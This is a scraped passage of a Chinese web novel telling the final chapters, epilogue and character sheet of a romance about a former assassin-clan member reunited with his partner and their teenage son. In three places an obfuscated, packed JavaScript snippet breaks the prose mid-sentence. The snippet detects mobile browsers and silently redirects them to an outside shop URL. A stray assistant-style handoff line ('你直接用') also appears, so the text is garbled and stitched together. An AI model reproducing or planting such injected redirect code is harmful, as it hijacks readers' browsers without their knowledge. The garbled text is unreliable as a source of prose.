这个在商场上叱咤风云、从无败绩的男人,此刻手足无措,上前紧紧按住他的肩,声音发紧:“有什么事你说,别拿分开开玩笑,我可以解决,我能护着你——” 我能护着你。 多温柔的一句话。 可楚沐焦比谁都清楚,楚家的狠厉与不择手段,不是“护着”两个字就能抵挡的。 他不能拿他,拿孩子的命去赌。 楚沐焦最讨厌听大道理,此刻裴霖越是温柔,越是想承担,他越是心疼到窒息,越是只能把心硬得像铁石。 “我没开玩笑。” 他轻轻笑了一下,笑意凉薄,没有半分温度,目光落在婴儿床里熟睡的裴意然身上,指尖在身后死死攥紧,掐得掌心渗血,嘴上却残忍得不留余地: “孩子留给你,我走。” “楚沐焦。”裴霖的声音颤抖,眼底全是不敢置信,“他才出生一周,你知不知道你在说什么?” “知道。” 楚沐焦垂眸,强迫自己不去看那个小小的、属于他的孩子,每一个字都像在凌迟自己的心:“所以我不带走,省得碍眼。” 碍眼。 这是他这辈子说过最狠、最违心的话。 狠得裴霖瞬间僵在原地,哑口无言。 他看着眼前熟悉又陌生的人,心像是被一只手狠狠攥住,疼得无法呼吸。 他还想再说,想说我可以解决一切,想说我们一起面对,想说别丢下我和孩子。 可楚沐焦不给他任何机会。 他轻轻开口,语气里裹着化不开的冰,彻底掐灭了裴霖所有的希望: “别跟我讲大道理,裴霖。” “我听烦了。” 那一刻。 裴霖所有的话,全都堵在了喉咙里。 楚沐焦转身就走。 没有回头,没有留恋,没有留下只言片语。 他走得干净利落,仿佛这一年多的温情,全都是假的。 只有他自己知道。 转身的瞬间,眼泪决堤,心口被生生剜去一大块,疼得他几乎直不起腰。 他不敢回头。 哪怕一眼,他都会崩溃,都会放弃所有隐忍,扑进裴霖怀里再也不离开。 可他不能。 他只能用自己的离开,换他们父子一世平安。 “不要——!” 楚沐焦猛地从沙发上弹坐起来,大口大口地喘着粗气,冷汗瞬间浸透了睡衣。 窗外夜色深沉,屋内寂静无声。 原来是一场梦。 一场,做了整整十四年的噩梦。 他抬手捂住脸,指尖冰凉,浑身控制不住地发抖。 那些被他强行压在心底最深处的疼、悔、绝望与不舍,在这一刻全数爆发。 婴儿床里小小的一团,裴霖错愕又受伤的眼神,楚家冰冷的威胁…… 一幕幕,清晰得就像发生在昨天。 他蜷缩在沙发角落,肩膀微微颤抖,压抑了十四年的哭声,终于在无人的深夜,轻轻溢了出来。 “意然……” “裴霖……” 他低声呢喃着这两个刻进骨血里的名字,心口疼得几乎窒息。 他用一生的幸福,换了他们平安。 可再重逢,他却只能装作冷漠,装作厌烦,装作……从未爱过。 窗外的风呜呜地吹,像是在替他哭诉。 这一夜,漫长到没有尽头。 十四年的伤,在这个深夜,再次将他狠狠吞没。 冷汗顺着楚沐焦苍白的下颌线滑落,浸透了单薄的睡衣。他蜷缩在沙发角落,浑身控制不住地发抖,噩梦的余悸还死死缠在他的四肢百骸,让他连呼吸都带着撕裂般的疼。 刚刚梦里的一切还历历在目——婴儿床里软成一团的裴意然,裴霖受伤错愕的眼神,楚家人冰冷狠戾的威胁。 而梦魇之外,是他整整十四年,不敢对任何人言说的血与痛。 楚家,本就是隐在黑暗最深处的杀手世家。 没有亲情,没有温度,没有底线,冷血无情,只以命为棋,以利为刃。 在他们眼里,楚沐焦从不是孩子,只是一把生来就该染血的刀,一件用来争夺权势的工具。 当年他不顾一切挣脱出来,拼了半条命生下裴意然,以为终于能握住一点人间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261119|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温暖。 可楚家找上门的那一刻,他就清楚——想要裴霖和襁褓中的孩子活,他就必须走。 刚生产七日,身体虚得站都站不稳,他却硬生生咬着牙,把所有柔软碾碎在心底,对着最爱之人说出最狠的话,头也不回地踏入那座吃人的牢笼。 没人知道那十四年,他是怎么熬过来的。 曾经的楚沐焦,慵懒散漫,眉眼间全是不谙世事的软媚,连抬手多做一件事都觉得麻烦,只喜欢窝在裴霖怀里,安安稳稳做个被人宠着的人。 可重回楚家的那一刻起,他所有的慵懒、柔软、软肋,全都被硬生生剜去。 为了活下去,为了不成为别人手中的棋子,更为了在暗处护住裴家父子一生平安,他逼着自己拿起刀,逼着自己狠绝,逼着自己在尸山血海里一步步往上爬。 R族血脉本是安定治愈,生来就该被温柔以待,可他却用这双本该抚平伤痛的手,染遍了鲜血,执掌了生死。 他藏起所有情绪,戴上冷漠无情的面具,在杀手界里步步为营,心狠手辣,翻手为云覆手为雨。 曾经连争吵都觉得烦的人,后来运筹帷幄,算计人心,连眼睛都不眨一下。 曾经连看见血都会不适的人,后来亲手执掌生杀,坐稳了楚家最顶端的位置,把整个吃人的家族,死死攥在了自己掌心。 十四年。 五千多个日夜。 他没有一天敢忘记裴霖,没有一刻不想念那个才出生一周就被迫丢下的孩子。 可他不能联系,不能出现,不能露出半分破绽。 他只能站在黑暗里,远远看着裴霖把裴意然养大,看着他们平安顺遂,用自己的地狱,换他们人间安稳。 直到半年前。 他终于彻底清算楚家。 将这个世代盘踞在黑暗里的杀手世家,连根拔起——势力清零,财产散尽,所有沾过血的路,全部斩断。 他只取了一笔足够安稳度过余生的小钱,销毁身份,抹去所有痕迹,孤身一人,回到这座有他们的小城,开了一家小小的甜品铺。 只想安安静静,离他们近一点,再近一点。 再不沾黑暗,再不碰杀戮,只做回那个普通的楚沐焦。 他以为自己藏得足够好。 以为可以就这样远远看着,过完一生。 却没想到,不过是一次偶然的相遇,裴霖还是认出了他,还是不顾一切,重新撞进他早已封死的世界。 想到这里,楚沐焦再也撑不住,肩膀剧烈地颤抖起来。 压抑了十四年的哭声,终于在无人的深夜,破碎着溢出来。 他不是不爱。 不是狠心。 不是愿意弃家弃子。 他只是……别无选择。 窗外的夜风呜咽着刮过玻璃,像极了他当年离开时,不敢发出的哽咽。 沙发上的人蜷缩成小小的一团,金丝眼镜早被歪在一边,露出通红湿润的眼尾,脆弱得一触即碎。 那个在外人面前狠绝登顶、执掌生死的楚先生,那个在裴霖面前冷淡慵懒、毫不在意的楚沐焦,在这一刻,彻底卸下了所有伪装。 只剩下一个,弄丢了爱人、亏欠了孩子、被痛苦折磨了十四年的可怜人。 心口的疼密密麻麻蔓延开来,他捂住嘴,把哭声死死闷在掌心,一遍遍在心底重复着那句,迟到了十四年的话: 对不起…… 裴霖…… 意然…… 妈妈对不起你们…… 夜色浓稠如墨,将他所有的崩溃与脆弱,全数吞没。 而他不知道,楼下的街角,一辆黑色轿车已经静静停了许久。 裴霖坐在车里,指尖掐得发白,一颗心,早被揪得粉碎。 24. 儿子,我是你爸爸·六 天刚亮,楚沐焦是被噩梦残留的寒意冻醒的。 一睁眼,眼底全是淡青的疲惫,黑眼圈重得遮都遮不住,脸色白得像纸,一看就是整夜没睡好。 他盯着镜子里的自己,沉默了几秒,转身打开了最底下那个抽屉。 里面放着一套几乎没怎么用过的化妆品。 不是日常淡妆,是色彩偏亮、眼尾带勾、唇色又软又艳的那种——又精致又带点勾人的骚气。 刷子轻轻扫过眼睑,楚沐焦看着镜里一点点鲜活起来的眉眼,指尖微顿。 ……这妆。 上一次这么认真画,还是十四年前,刚和裴霖在一起的时候。 那时候他懒,却愿意为了裴霖花半个时辰打扮,就喜欢看裴霖盯着他移不开眼、又克制不住的模样。 后来进了楚家,刀光剑影里,素面朝天都是奢侈,更别说这种……只画给心上人看的妆。 今天鬼使神差画了,大概是心里那点被压抑太久的软,又冒头了。 他理了理白大褂,推门进甜品铺。 一坐就是一上午。 奇怪的是—— 裴霖没来。 裴意然也没来。 往常这父子俩,天不亮就能堵在门口,今天安安静静,连个消息都没有。 楚沐焦翻书的动作频频走神。 心里嘴上都在硬撑: 【不来正好。】 【清净。】 【省得烦我。】 可眼底那点藏不住的空落,骗不了人。 他不知道,另一边,早已乱成一团。 学校。 午休还没结束,教导处就吵翻了天。 裴意然和人打了架。 对方家长指着鼻子骂,唾沫横飞,态度嚣张: “你就是没人管的野孩子!” “没妈教的东西就是没教养!” “你爸就知道赚钱,根本不管你!” 每一句,都扎在少年最痛的地方。 裴意然攥紧拳头,指节发白,肩膀绷得死紧,眼眶通红,却死死咬着牙不肯哭。 他想骂回去,想动手,可老师拦着,对方家长得理不饶人,一句比一句难听。 他下意识摸出手机,想给裴霖打电话。 可屏幕亮起,只有助理发来的消息: 【小少爷,裴总正在开跨国集团会议,全程不能碰手机,真的联系不上。】 裴意然的心一点点沉下去。 平日里天不怕地不怕的少年,这一刻孤零零站在教导处,被人围着骂,连个撑腰的人都没有。 他忽然就想起了今天早上。 想起那个开着甜品铺、画着精致妆容、嘴上冷淡、却会默许他待在身边的人。 如果…… 妈妈在的话,一定不会让别人这么骂他。 少年鼻子一酸,死死低下头。 甜品铺。 太阳慢慢西斜,楚沐焦的妆依旧精致,眼底的淡青被遮住,只露出一双微微上挑的眼。 可他坐得越来越不安稳。 一上午,没有敲门声。 一下午,没有风铃响。 平时那两道黏人的身影,今天彻底消失。 楚沐焦放下书,望着空荡荡的门口,指尖无意识敲着桌面。 心里乱七八糟地想: 【是嫌我昨天赶人太狠?】 【还是……终于烦了,不缠了?】 【也好。】 可心口那点空,怎么都填不满。 他甚至有点自嘲。 ——画了这么多年没画过的、只为裴霖画的妆。 结果正主连面都不露。 【裴霖……】 【臭小子……】 他轻轻抿了抿唇,掩去眼底一闪而过的慌乱。 他不知道。 此刻在学校教导处,裴意然正死死咬着唇,被人骂“没妈”,孤立无援。 而会议室里,裴霖中场休息一拿到手机,看到消息,脸色瞬间惨白,浑身戾气炸开。 什么会议。 什么合作。 什么大局。 全都不重要了。 他儿子在被人欺负。 他的小朋友,当年拼了命护下的孩子,现在正被人指着鼻子骂“没妈教”。 裴霖抓起外套,声音冷得结冰: “会议取消。” “备车,去学校。” 而他不知道,甜品铺里,那个画着精致浓妆、等了他们一天的人,也正悄悄攥紧了心。 一墙之隔,两座小城。 三个人,各怀心事,各有委屈。 裴霖冲进教导处时,裴意然正孤零零站在墙角,下巴绷得死紧,眼眶通红却强忍着不掉泪。 对方家长还在不依不饶地骂:“没妈教就是没教养——” “嘴巴放干净点。” 裴霖声音不高,却带着压人的冷意,一步挡在裴意然身前,将人牢牢护在身后。 他没多纠缠,利落跟校方沟通完,全程没再给对方家长一个眼神,只弯腰摸了摸裴意然的头,声音放轻:“跟爸爸回家。” 车里一路沉默。 裴意然低着头,手指抠着衣角,被那句“没妈教”扎得浑身发疼。 回到家,玄关的灯冷冷清清。 裴意然站在客厅中央,终于忍不住抬头,声音又哑又涩: “爸……” “当年……妈妈为什么要走?” 裴霖动作一顿。 窗外天色沉下来,屋子里静得能听见呼吸声。 他看着儿子眼睛里的委屈、困惑、还有一丝连自己都没察觉的渴望,喉结动了动,半天说不出一句话。 十四年了。 这个问题,他也想问了整整十四年。 裴霖身形一僵,指尖猛地攥紧。 他看着眼前和楚沐焦长了七分像的少年,看着裴意然眼底藏不住的委屈与茫然,心脏像是被一只手狠狠攥住,闷得发疼。 他该怎么说。 说当年那个刚生下他不过七天、虚弱得站都站不稳的妈妈,是为了护他们父子俩的命,才硬生生撕碎所有温柔,头也不回地扎进地狱? 说楚沐焦不是不要他,不是嫌他碍眼,而是被楚家那座吃人的杀手牢笼逼得别无选择? 说这十四年,他不是不恨,不是不怨,而是连质问的资格都没有——因为他到最后才明白,那个人的狠心,全是拿命换的成全。 裴霖喉结滚动,声音压得极低,带着连自己都没察觉的沙哑: “他不是想走。” “他是不得不走。” 裴意然猛地抬眼,睫毛轻颤:“不得不走?那他为什么不回来?为什么不要我?” 为什么…… 连一句解释都不肯留。 为什么让他从小到大,被人指着鼻子骂没妈教。 裴霖闭上眼,再睁开时,眼底翻涌着十四年的痛与悔。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261120|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他不能告诉孩子楚家的血腥黑暗,不能让他沾半点当年的阴私,更不能说—— 你的男妈妈,用整整十四年在地狱里厮杀,才终于敢悄悄回到这座城市,远远看你们一眼。 他只能伸手,轻轻按住裴意然的肩,一字一句,沉得像千斤巨石。 “他从来没有不要你。” “从你出生的那一刻起,他最想护着的人,就是你。” “只是有些路,他只能一个人走。” “等时机到了,爸爸会把所有事,都告诉你。” 包括那个,为了护住他们父子,刚生产七日便忍痛割爱、孤身坠入黑暗的妈妈。 夜色一点点沉下来,客厅里的沉默压得人喘不过气。裴霖看着裴意然泛红的眼角,终究没再多说当年的事,只是轻轻拍了拍他的背,让他先去洗漱休息。 一夜无眠。 第二天一早,天刚蒙蒙亮,裴霖就收拾好了裴意然的换洗衣物,驱车送他回寄宿学校。 车里依旧安静,裴意然靠在车窗上,眼神放空,显然还没从昨天的委屈和夜里的疑问里走出来。他攥着书包带,心里反复想着父亲说的那句不得不走,却怎么也想不明白,妈妈当年到底是为了什么,才会在他刚出生七天就离开。 车子停在寄宿学校门口,裴霖下车帮他把行李拿下来,弯腰替他理了理皱掉的衣领,声音放得很轻:“在学校好好的,有人欺负你,立刻给爸爸打电话,不管多忙,我都会来。” 裴意然点点头,声音闷闷的:“知道了,爸。” 他转身要走,脚步顿了顿,还是没忍住回头,小声问:“爸爸,我什么时候……能再见到妈妈?” 裴霖的心猛地一揪,抬眼望向远处那条通往甜品铺的路,喉间发涩。 他沉默了几秒,认真地看着儿子:“很快了。” 裴意然没再追问,背着书包转身走进了校门,小小的身影显得格外孤单。 裴霖站在原地,直到那道身影彻底消失在教学楼后,才缓缓收回目光,坐回车里。 方向盘被他攥得发白。 他没有立刻离开,而是发动车子,朝着与公司相反的方向—— 楚沐焦的甜品铺,开了过去。 他想见他。 想问问他,这十四年到底经历了什么。 想告诉他,他们的儿子,昨天被人骂没妈教,委屈得快要碎掉了。 裴霖把车停在甜品铺对面,远远就看见了窗边的人。 楚沐焦今天没化妆。 黑眼圈已经淡下去,脸色也恢复了几分血色,素着一张脸,眉眼干净清浅,少了昨日那股刻意勾人的艳,多了层久违的、柔和的烟火气。 他正低头整理着柜台里的小蛋糕,指尖轻轻碰了碰奶油边缘,神情安静又认真。阳光落在他侧脸,连睫毛的影子都软软的。 裴霖坐在车里,一时竟没敢立刻推门下去。 十四年了。 他见过他冷硬的模样,见过他狠绝的模样,见过他满身是伤也不肯低头的模样,却很少再见到这样素净、安稳、毫无防备的样子。 像回到了最开始的时候。 没有纷争,没有离别,没有那一场撕心裂肺的分开。 他也是这样,安安静静地待在他身边,素面朝天,比任何浓妆都动人。 裴霖深吸了一口气,推门下车。 风铃一响,楚沐焦抬头,目光直直撞进他眼底。 四目相对的那一瞬,空气忽然就静了。 25. 儿子,我是你爸爸·七·完·后记 甜品铺里安安静静,只有咖啡机偶尔嗡鸣一声。 裴霖没敢多提昨天的事,就只是站在柜台边,有一搭没一搭地看着楚沐焦收拾东西。素面的他比妆后更软,眉眼干净,看得裴霖心口一阵阵发紧。 待了没一会儿,楚沐焦擦了擦手,抬眼看向他,语气平淡自然: “我就不陪你多聊了,今天是体检的日子,我得去医院做个体检。” 裴霖一愣,下意识绷紧了神经: “体检?身体不舒服吗?” “没有,就是常规检查,一直固定今天。”楚沐焦拿过搭在椅背上的外套,指尖很轻,“早就约好的。” 裴霖看着他毫无血色却干净清爽的脸,喉间动了动,声音压得很低: “我送你。” 体检中心安静整洁,走廊铺着浅灰色地砖,只有零星的脚步声和护士轻声交代注意事项的声音。楚沐焦拿着一叠检查单,一项项按流程做完,裴霖沉默地跟在他身后,没有多话,却在每一个需要等候的地方,替他占好座位、递上水。 所有项目结束后,两人坐在医生办公室外的长椅上,等着最后汇总结果。空气里弥漫着淡淡的消毒水味,楚沐焦指尖轻轻敲着膝盖,先开了口。 “你不用这么紧张,我每年都查,身体一直还算稳定。” 裴霖侧头看他,素净的脸在日光灯下显得格外清浅,没有半点刻意修饰,却让他移不开眼。 “我不陪着,你也是一个人来?” “嗯,习惯了。”楚沐焦淡淡应着,语气听不出情绪,“这么多年,大大小小的检查都是自己来,早就熟门熟路了。” 裴霖喉结动了动,心里像被细针轻轻扎了一下,密密麻麻地发闷。 “以后……”他刚开口,医生办公室的门就被推开,护士喊了楚沐焦的名字。 两人一起走了进去,医生翻看着手里的各项报告,指尖在数据上轻轻点着。 “楚沐焦是吧?所有结果都出来了,我整体跟你说一下。” 楚沐焦点点头:“麻烦您了。” “血常规、肝肾功能全部正常,血脂血糖也在标准范围内,甲状腺、腹部B超没有异常,心电图也很平稳。之前你提到的偶尔容易疲惫的情况,从指标上看没有器质性问题,就是长期作息不太规律,有点轻微的神经衰弱,多休息、少熬夜就行。” 医生顿了顿,看向两人,笑着补充: “整体来说,各项指标都很好,身体状况很不错,没有任何大问题。” 楚沐焦明显松了口气,唇角微微弯起一点浅淡的弧度:“谢谢您,我知道了。” 裴霖悬了一上午的心,也在这一刻彻底落回原处,紧绷的肩线缓缓放松。 他看向医生,语气比刚才沉稳了许多:“请问饮食和生活上,还有需要特别注意的吗?” “不用太刻意,清淡饮食,少碰烟酒,尽量固定作息,别给自己太大压力就可以。”医生合上报告单,递还给楚沐焦,“一年一次常规体检继续保持,有不舒服随时过来,不用硬扛。” 楚沐焦接过单子,轻声道了谢,和裴霖一起走出办公室。 直到踏上走廊,裴霖才真正开口,声音里带着不易察觉的释然: “听见了?都挺好的。” “嗯。”楚沐焦捏着那叠纸质报告单,指尖微微发热,“比我预想的还要好一点。” “你之前一直担心什么?”裴霖问。 楚沐焦脚步微顿,没有回头,声音很轻: “没什么,就是习惯性多想一想。” 裴霖盯着他的背影,心里清楚,他所谓的习惯性多想,全是这十几年一个人撑出来的戒备与不安。 “以后不用自己担着。”裴霖的声音沉了几分,在空旷的走廊里格外清晰,“下次体检,我还是陪你来。” 楚沐焦身形一僵,缓缓转过身,看向他。 “裴霖,我们……” “我不是要打扰你现在的生活。”裴霖抢先开口,目光认真,“只是检查身体这种事,有人陪着,总比一个人好。” 楚沐焦沉默片刻,垂下眼睫,没有拒绝,也没有立刻答应。 “我知道了。” 简简单单四个字,却让裴霖紧绷了许久的情绪,彻底软了下来。 两人一起走出体检中心,午后的阳光洒在身上,暖得恰到好处。 裴霖替他拉开车门:“先送你回甜品铺?” 楚沐焦坐进副驾,把报告单放在腿上,轻轻“嗯”了一声。 车子平稳驶离,车厢里没有尴尬的沉默,只有一种时隔多年、终于稍稍安心的平静。 所有检查结果都很好, 他很好, 这就够了。 过了半个月,城市入夜后飘着微凉的风,霓虹把高级会所的走廊映得忽明忽暗。 裴霖坐在包厢角落,衬衫领口松了两颗扣子,面上看着还维持着冷静,指尖却悄悄攥紧了手机。刚才应酬时那杯被人递过来的酒下肚没多久,他便察觉出不对劲——浑身发烫,心跳乱得离谱,明眼人一瞧就知道是被人动了手脚。 但只有他自己清楚,那药根本是假的,后劲虚有其表,远没到失控的地步。 他只是突然想赌一次。 赌楚沐焦会不会来,赌那个人心里,到底还有没有他的位置。 裴霖压着声,指尖微微发抖,刻意把语气揉得沙哑又脆弱,带着几分难以掩饰的狼狈,拨通了那个烂熟于心的号码。 电话响了几声才被接起,楚沐焦清淡的声音传过来,带着刚收拾完甜品铺的疲惫:“喂?” “沐焦……”裴霖喉间滚出一声低哑,刻意放软了姿态,声音里掺着恰到好处的虚弱,“我在云顶会所这边……酒局上被人下了药,现在站都站不稳,司机被我支走了,我谁都不能信……” 他顿了顿,声音压得更低,带着点近乎哀求的软意,字字都在卖惨: “我只敢打给你,你能不能……过来接我回家?” 楚沐焦那边沉默了几秒,指尖捏着手机的力度不自觉收紧。 他听得出裴霖声音里的不对劲,沙哑、发颤,像是真的难受得厉害,心底那点尘封多年的顾虑,还是不受控制地冒了出来。 “你很不舒服?”楚沐焦的声音沉了几分,少了平日的平淡,多了一丝不易察觉的紧张。 “嗯……浑身发烫,头晕得厉害,他们还在外面缠着,我走不开……”裴霖靠着墙,微微垂眼,掩去眸底那点算计的光,语气却越来越软,带着孤注一掷的恳求,“沐焦,求你了,别不管我……” 他太了解楚沐焦了。 哪怕分开十四年,那人骨子里的软和心软,从来都没变过。 果然,电话那头传来楚沐焦轻浅的呼吸声,带着无奈,却还是松了口: “地址发我,我现在过去。” 挂掉电话的那一刻,裴霖缓缓靠在冰冷的墙壁上,指尖微微发烫。 他赢了。 哪怕用了一点不光彩的手段,哪怕是装出来的狼狈,他还是把楚沐焦,叫到了自己身边。 走廊尽头传来轻微的脚步声,裴霖立刻调整好姿态,眉头微蹙,脸色泛着不正常的红,看上去虚弱又无助,静静等着那个他朝思暮想的人,一步步走向他。 我按照你要的情绪、细节、对话和心理活动,完整写出来,尺度克制、情绪饱满、符合人物逻辑,你直接用: 车子一路驶进裴家别墅,暖黄的庭院灯把路面铺得柔软。楚沐焦扶着半靠在他身上的裴霖进门,指尖刚碰到玄关的开关,就被人从身后轻轻扣住了手腕。 裴霖的呼吸烫在他颈侧,带着几分刻意装出来的虚软,嗓音哑得不像话:“沐焦,别走……今晚留下来,好不好?” 楚沐焦身子一僵,抽了抽手,却没抽开。 “裴霖,你药劲差不多散了,我送你到这儿就够了。” “不够。”裴霖直接把人圈进怀里,下巴抵在他肩窝,语气又软又缠,“我头晕,夜里要是不舒服,没人管我……司机不在,佣人我也遣了,我只信你。” 他找着一个又一个拙劣的借口,声音里带着连自己都清楚的耍赖,可偏偏,楚沐焦狠不下心。 这些天的画面一帧帧撞进脑海—— 他体检时裴霖沉默的陪伴; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261121|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他提起儿子时对方眼底的愧疚; 裴意然在寄宿学校里偷偷问他“妈妈是不是不讨厌我了”; 还有这对父子笨拙又真诚的靠近、包容、等待…… 十四年的恨与怨,早就在日复一日的温柔里,被磨得越来越淡。 楚沐焦最终没再坚持离开。 深夜,卧室里只留了一盏床头小灯。 裴霖再也装不下去,翻身将人轻轻按住,眼底没了半分虚弱,只剩压抑了十四年的滚烫与急切。楚沐焦的呼吸乱了,伸手抵在他胸口,声音轻却清晰: “裴霖,戴套。” 裴霖动作一顿。 楚沐焦垂着眼,睫毛轻颤,声音低得像叹息:“我不想再生一个……像意然那样,一出生就没有妈妈,从小缺疼少爱,长大了还要跟我死缠烂打。我受不了第二个这样的孩子。” 他一想到裴意然这些年的孤单,心口就密密麻麻地疼。 可下一秒,那些怨、那些怕、那些过不去的曾经,忽然就松了。 他抬眼,看向裴霖,眼底一片清明柔和,带着终于释然的轻浅。 “但……如果真的有了,我也接受。” 楚沐焦轻声说,每一个字都很轻,却重得砸进裴霖心底: “都过去了。我不怪你了,也……愿意接受现在的你。” 裴霖整个人都僵住,瞳孔微微收缩。 他听明白了。 不是妥协,不是将就,是原谅。 是放下了过去,接纳了他,也接纳了这段重新拼凑起来的关系。 下一秒,所有的克制尽数崩裂。 他低头吻下去,温柔又用力,带着失而复得的珍视与颤抖,将十四年的思念、亏欠、等待,全都揉进这一夜的温柔里。 楚沐焦没有再推拒。 窗外夜色安静,屋内灯火温柔。 那些曾经断裂的时光,终于在这一刻,重新连在了一起。 后记 周末的阳光格外温柔,车子停在寄宿学校门口时,楚沐焦正低头整理着带来的换洗衣物,裴霖坐在驾驶座上,目光一瞬不瞬落在他侧脸,眼底是藏不住的柔和。 这是两人确定心意后,第一次一起来接裴意然回家。 校门打开的瞬间,一道小小的身影就远远地冲了过来,裴意然背着书包,跑得脸颊通红,眼睛亮晶晶地盯着车里的两个人,脚步顿了顿,又雀跃地扑到车窗边。 “妈妈!爸爸!” 楚沐焦推开车门,弯腰就被小家伙紧紧抱住腰,裴意然把脸埋在他怀里,蹭了又蹭,声音软糯又依赖:“我等你们好久好久了,以为你们要晚点来。” 楚沐焦摸了摸他柔软的头发,指尖轻轻拂过他耳尖,语气是从未有过的温和:“今天不忙,特意早点来接你。” 裴霖站在一旁,看着一大一小相依的模样,心口被填得满满当当。他伸手揉了揉儿子的头,低声道:“上车吧,回家。” 回去的路上,裴意然叽叽喳喳说个不停,讲学校里的趣事,讲同学间的小玩笑,讲自己又得了小红花,从前眼底那点小心翼翼的不安,早已被满满的幸福取代。 楚沐焦耐心听着,偶尔应上一两句,嘴角始终噙着浅淡的笑意。他看着窗外掠过的风景,又看向身侧眼神温柔的裴霖,和后座满眼欢喜的裴意然,忽然觉得,十四年的颠沛与心结,都在这一刻有了最好的归宿。 他曾经害怕重蹈覆辙,害怕再面对破碎的感情,害怕孩子重蹈孤单的覆辙,可如今才明白,真正的放下,不是原谅过去,而是接纳眼前的温暖。 裴霖察觉到他的目光,悄悄伸手,在方向盘下轻轻握住了他的手,掌心温热,力道安稳。 楚沐焦没有抽回,反而轻轻回握。 后座的裴意然看着两人相握的手,捂着嘴偷偷笑,小脸上满是得意与满足。 车子朝着家的方向行驶,暖阳透过车窗洒进来,落在三个人身上,温暖得恰到好处。 那些曾经错过的时光,缺席的陪伴,未说出口的爱意,都将在往后的朝夕里,一点点补齐。 从此,三餐四季,一家三口,岁岁年年,再无分离。 26. 儿子,我是你爸爸·人物介绍表 姓名:楚沐焦 性别:男R(能生育者) 年龄:32 身高:175厘米 长相:眉眼:细框金丝眼镜压着眉骨,眼尾微微下垂,眼波慵懒又勾人,像蒙着一层雾,明明是清冷的线条,却藏着几分漫不经心的诱惑。 轮廓:下颌线锋利利落,唇色偏淡却饱满,微张的弧度带着无声的邀请,鼻梁高挺,侧脸线条干净又锋利,禁欲感里裹着致命的媚态。 性格:懒:能瘫着绝不坐着,能坐着绝不站着,沙发是他的半永久领地,连抬手勾一下高领都带着漫不经心的敷衍。说话永远慢悠悠,尾音拖得很长,像没睡醒的猫,懒得解释,懒得争辩,连生气都懒得大动干戈。 易生气:一点小事就能戳到他的逆鳞,眉头一皱,眼尾瞬间冷下来,语气里裹着冰碴子,却又懒得起身发作,只会用眼神和冷言冷语把人逼退,像只被打扰了午睡的猫,炸毛却又懒得扑腾。最讨厌讲大道理的人。 姓名:裴霖 年龄:32 性别:男Y 身高:190 长相:轮廓:下颌线利落如刀削,鼻梁高挺,侧脸线条干净又有力量感,冷白的皮肤衬得颈侧的小痣格外惹眼。 眉眼:眼型偏长,眼尾微微上挑,瞳孔是深褐色,不笑时带着疏离感,一旦抬眼,又藏着能勾人的张力。 气质:深墨色衬衫松垮地敞开领口,露出锁骨和细链,腕表的金属冷光与皮肤的暖调形成对比,整个人慵懒地靠在沙发上,像一匹养在金丝笼里的黑豹,危险又迷人。 性格:表面:话少,眼神自带距离感,习惯抱臂或垂眸,给人一种“生人勿近”的冷感,做事果决,不拖泥带水,对不感兴趣的人和事懒得敷衍。 内里:对在意的人会默默兜底,看似漫不经心,实则心思细腻,会记住楚沐焦的小习惯,在关键时刻不动声色地护着。 爱讲大道理:一旦你犯了错或是钻了牛角尖,他就会立刻切换成“说教模式”,慢条斯理地把道理掰开揉碎讲给你听,逻辑清晰又带着不容置喙的笃定,哪怕你不耐烦地打断,他也会慢悠悠地把话说完,末了还会补一句“听进去没?下次别犯傻”,明明是为你好,却总带着点让人又气又没办法的傲娇,自从楚沐焦走后,就不管再对他讲了。 姓名:裴意然 身高178 年龄:14 性别:男Y 长相:轮廓:脸型干净利落,下颌线清晰,皮肤是健康的冷白色,带着少年特有的清爽感。眉眼:眼型偏圆,眼尾微微上扬,眼神明亮又带着点漫不经心的笑意,像傍晚球场上吹过的风,干净又有活力。 性格:行事从不收敛:做什么都带着一股“我就是要做到最好”的狠劲,不藏锋芒,不掩野心,想要的就直接去争,从不扭捏。 说话自带锋芒:言辞直接,从不拐弯抹角,哪怕是表达观点也带着不容置喙的笃定,怼人时逻辑清晰又带着少年人的嚣张,却又让人挑不出错。 气场极具侵略性:走到哪里都像自带聚光灯,眼神锐利,走路带风,哪怕只是站在人群里,也能让人一眼注意到他身上那股“我就是主角”的底气,从不怯场,也从不在意旁人的眼光。 世界观: R ?性别:男R / 女R ?核心特质:孕育、稳定、建设、守护 Y ?性别:男Y / 女Y 人物关系: 裴家是执掌半个商圈的顶级集团,裴霖年纪轻轻便把商业帝国握在掌心,冷静果决,从无半分软肋。 楚家是藏在暗处的杀手世家,狠戾,冷血,从不管什么规矩情义,只认筹码与性命。 这两家本不该有交集。 偏偏裴霖栽在了楚沐焦手里。 